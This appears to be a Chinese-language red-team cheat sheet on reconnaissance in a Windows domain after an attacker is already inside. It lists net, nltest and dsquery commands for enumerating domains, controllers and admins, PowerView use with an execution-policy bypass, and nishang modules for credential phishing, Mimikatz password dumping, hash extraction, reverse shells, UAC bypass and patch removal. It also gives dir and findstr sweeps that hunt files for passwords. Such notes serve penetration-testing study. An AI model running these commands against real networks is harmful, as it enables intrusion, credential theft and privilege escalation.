1.域内基本信息收集
2.NET命令详解
3.内网主要使用的域收集方法
4.查找域控制器的方法
5.查询域内用户的基本信息
6.定位域管
7.powershell命令和定位敏感信息
1.域内基本信息收集:
四种情况:
1.本地用户:user
2.本地管理员用户:家庭版禁用,server才有
3.域内用户
4.域内管理员
本地普通用户不能获取域内信息
本地管理员用户,可以直接提权为system用户(域内用户),可以获取域内信息
一.判断域是否存在:1.查看域:ipconfig/all 或 systeminfo 或net config workstation
ipconfig /all : 发现域为:hack.com

systeminfo : 发现域为:hack.com

2.查看域的DNS主机:nslookup 域名(hack.com)

3.Net time /domain 三种情况
存在域,但当前用户不是域用户

存在域,当前用户是域用户

当前网络环境为工作组,不存在域

2.NET命令详解:
1.net view:显示域列表,计算机列表,指定计算机共享资源:net view(显示计算机列表) net view \\computer (查看指定的共享计算机)
net view /domain:域名(hack) (显示计算机列表)
2.net user查看本地用户:net user /domain 查看域内多少个用户
添加用户:net user 名称(admin) 密码(123)/add
3.net use:连接计算机或者断开计算机与共享资源的连接,显示计算机的连接信息
4.net time:使用时间使计算机或者域同步:net time \\computer net time /domain
5.net start:启动服务,或者显示已经启动的服务:net start service
6.net pause:暂停正在运行的服务:net pause service
7.net continue:重新激活服务:net continue service
8.net stop:停止Windows NT/2000/2003服务:net stop service
9.net share:删除、创建、或者显示共享资源
10.net session:列出或者断开本地计算机和与之连接的客户端的会话:
net session //computer (标识要列出或者会话的计算机)
net session //computer \delete (断开指定计算机的会话)
11.net localgroup 查看计算机组(只适用于本地):net localgroup 用户名
域用户:net localgroup 用户名 /domain
12.net group查询域内组的名称(只适用于域控制器):net group /domain
13.net config 显示当前运行的可配置服务,或者显示并更改某项服务的配置(在本地):
net config (显示正在运行的服务) net config 服务 (显示服务的列表)
14.net computer 从域数据库中添加或者删除计算机:
net computer \\computername /add 或者 /del (将计算机添加或者删除到登录域)
3.内网主要使用的域收集方式
如果出现"此工作组的服务器列表当前无法使用" 开启服务:Server ,WorkStation,computer Browser,关闭防火 墙
查看域:ipconfig/all 或者 systeminfo 或者 net config workstation

查看域的DNS主机:nslookup 域名(hack.com)

查询域:net view /domain

查询域内所有计算机:net view /domain:域名

查询域内所有用户组列表:net group /domain

查询所有域成员的计算机列表:net group "domain computers" /domain

查询域内密码信息:net accounts /domain

获取域信任信息:nltest /domain_trusts

4.查找域控制器的方法
查看到域控制器机名:nltest /DCLIST:hack

查看到机器名,找IP,ping/nslookup:ping/nslookup 域控制器名
有时候会遇到ping禁用,这里使用nslookup

查看域控制器主机名:nslookup ‐type=SRV _ldap._tcp

查看当前时间:net time /domain

查看域控制器组:net group "Domain Controllers" /domain

5.查询域内用户的基本信息
1.查询域内用户信息:net user /domain

2.查看本地用户:wmic useraccount get name 域用户:wmic useraccount get domain,name
本地用户:

域用户:

3.查看存在的用户:dsquery user (有的时候可能执行不了,只能在server机器上运行)

4.查询本地管理员用户组:net localgroup administrators

5.查询域管理员用户:net group "domain admins" /domain

6.查询域管理员用户组:net group "Enterprise Admins" /domain

6.定位域管
这里需要用到两个工具
先将工具上传服务器上去,再执行
1.PVEFindADUser:PVEFindADUser.exe -current (注意路径) 这个工具可以查看计算机都登陆过哪些用户,从而可以让我们找到域管

2.powerView脚本:
powershell.exe ‐exec bypass ‐command "& { import‐module .\PowerView.ps1;Invoke‐UserHunter}"

7.powershell命令和定位敏感信息
先查看权限:Get-ExecutionPolicy

改变运行策略:Set-ExecutionPolicy Unrestricted (只有是Unrestricted权限才能执行pow)
nishang工具(在上篇文章中有下载链接):
放在CS目录后,直接导入:powershell-import nishang/nishang.psm1

执行:powershell 命令
一些常用命令:
Check-VM : 检测该主机是不是虚拟机
Invoke-CredentialsPhish : 欺骗用户,让用户输入密码
Get-WLAN-Keys : wifi信息
Invoke-Mimikatz: 抓密码
Get-PassHashes: 获取hash
Get-PassHints: 获取用户的密码提示信息
Invoke-PowerShellTcp: 反弹shell
Invoke-PsUACme: 绕过UAC
Remove-Update: 删除补丁
Get-Information: 本机信息
示例:powershell Check-VM

定位敏感数据:
1.指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
示例:dir /a /s /b d:\"*.txt"
